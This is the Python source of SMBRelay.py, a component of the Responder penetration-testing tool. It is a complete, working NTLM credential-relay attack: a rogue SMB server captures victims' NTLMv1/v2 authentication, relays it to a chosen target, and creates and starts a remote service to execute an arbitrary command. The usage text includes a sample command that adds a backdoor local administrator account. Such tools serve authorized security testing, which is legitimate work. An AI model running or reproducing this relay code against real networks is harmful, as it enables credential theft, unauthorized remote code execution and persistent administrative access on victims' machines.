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SMBRelay.py
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SMBRelay.py
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# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
from FingerprintRelay import RunSmbFinger
from odict import OrderedDict
from socket import *
from RelayPackets import *
def UserCallBack(op, value, dmy, parser):
args=[]
for arg in parser.rargs:
if arg[0] != "-":
args.append(arg)
if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin",
prog=sys.argv[0],
)
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
options, args = parser.parse_args()
if options.CMD is None:
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
parser.print_help()
exit(-1)
if options.TARGET is None:
print "\n-t mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1)
if options.UserToRelay is None:
print "\n-u mandatory option is missing, please provide a username to relay.\n"
parser.print_help()
exit(-1)
ResponderPATH = os.path.dirname(__file__)
# Set some vars.
UserToRelay = options.UserToRelay
Domain = options.Domain
Command = options.CMD
Target = options.TARGET
OURIP = options.OURIP
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#Logger
import logging
Logs = logging
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
#Function used to verify if a previous auth attempt was made.
def ReadData(outfile,Client, User, cmd=None):
try:
with open(ResponderPATH+outfile,"r") as filestr:
if cmd == None:
String = Client+':'+User
if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return True
else:
return False
if cmd != None:
String = Client+","+User+","+cmd
if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close()
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
return True
else:
return False
except:
raise
#Function used to parse SMB NTLMv1/v2
def ParseHash(data,Client, Target):
try:
lenght = struct.unpack('<H',data[43:45])[0]
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
if NthashLen >= 30:
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username):
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass
if Username in UserToRelay:
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
print "Username : ",Username
print "Domain (if joined, if not then computer name) : ",Domain
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
if NthashLen == 24:
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username):
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass
if Username in UserToRelay:
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
print "Username : ",Username
print "Domain (if joined, if not then computer name) : ",Domain
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
else:
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
pass
except Exception:
raise
#Detect if SMB auth was Anonymous
def Is_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0]
if LMhashLen == 0 or LMhashLen == 1:
print "SMB Anonymous login requested, trying to force client to auth with credz."
return True
else:
return False
def ParseDomain(data):
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
return Domain
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
DialectStart = data[40:]
pack = tuple(DialectStart.split('\x02'))[:10]
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
test = tuple(var)
if test[0] == "NT LM 0.12":
return "\x00\x00"
if test[1] == "NT LM 0.12":
return "\x01\x00"
if test[2] == "NT LM 0.12":
return "\x02\x00"
if test[3] == "NT LM 0.12":
return "\x03\x00"
if test[4] == "NT LM 0.12":
return "\x04\x00"
if test[5] == "NT LM 0.12":
return "\x05\x00"
if test[6] == "NT LM 0.12":
return "\x06\x00"
if test[7] == "NT LM 0.12":
return "\x07\x00"
if test[8] == "NT LM 0.12":
return "\x08\x00"
if test[9] == "NT LM 0.12":
return "\x09\x00"
if test[10] == "NT LM 0.12":
return "\x0a\x00"
def SmbRogueSrv139(key,Target,DomainMachineName):
s = socket(AF_INET,SOCK_STREAM)
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
s.settimeout(30)
try:
s.bind(('0.0.0.0', 139))
s.listen(0)
conn, addr = s.accept()
except error, msg:
if "Address already in use" in msg:
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
try:
while True:
data = conn.recv(1024)
##session request 139
if data[0] == "\x81":
buffer0 = "\x82\x00\x00\x00"
conn.send(buffer0)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
conn.send(buffer1)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())
buffer1 = longueur(packet1)+packet1
conn.send(buffer1)
else:
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
buffer1 = longueur(packet1)+packet1
conn.send(buffer1)
Credz = ParseHash(data,addr[0],Target)
return Credz
except:
return None
def RunRelay(host, Command,Domain):
Target = host
CMD = Command
print "Target is running: ", RunSmbFinger((host, 445))
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, 445))
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x03\xc7",pid="\xff\xfe", tid="\xff\xff")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
Key = ParseAnswerKey(data,host)
DomainMachineName = ParseDomain(data)
if data[8:10] == "\x72\x00":
try:
a = SmbRogueSrv139(Key,Target,DomainMachineName)
if a is not None:
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
if Domain == None:
Domain = OriginalDomain
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
pass
else:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
except:
raise
a = None
if data[8:10] == "\x73\x6d":
print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
Logs.info(CLIENTIP+":"+Username)
if data[8:10] == "\x73\x0d":
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
Logs.info(CLIENTIP+":"+Username)
## NtCreateAndx
if data[8:10] == "\x73\x00":
print "[+] Authenticated, trying to PSexec on target !"
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBNTCreateData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## Fail Handling.
if data[8:10] == "\xa2\x22":
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
## DCE/RPC Write.
if data[8:10] == "\xa2\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
x = SMBDCEData()
x.calculate()
f = data[42:44]
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenManagerW.
if data[8:10] == "\x2e\x00":
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
w.calculate()
x = SMBDCEPacketData(Data=w)
x.calculate()
t = SMBWriteData(FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLCreateService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
print "[+] Creating service"
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
ContextHandler = data[88:108]
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
w.calculate()
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLOpenService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to create the service"
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
w.calculate()
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC SVCCTLStartService.
if data[8:10] == "\x2e\x00":
if data[len(data)-4:] == "\x05\x00\x00\x00":
print "[+] Failed to open the service"
ContextHandler = data[88:108]
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
x.calculate()
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x2e\x00":
print "[+] Command successful !"
Logs.info('Command successful:')
Logs.info(Target+","+Username+','+CMD)
return True
if data[8:10] != "\x2e\x00":
return False
def RunInloop(Target,Command,Domain):
try:
while True:
worker = RunRelay(Target,Command,Domain)
except:
raise
def main():
try:
thread.start_new(RunInloop,(Target,Command,Domain))
except KeyboardInterrupt:
exit()
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
raise
raw_input()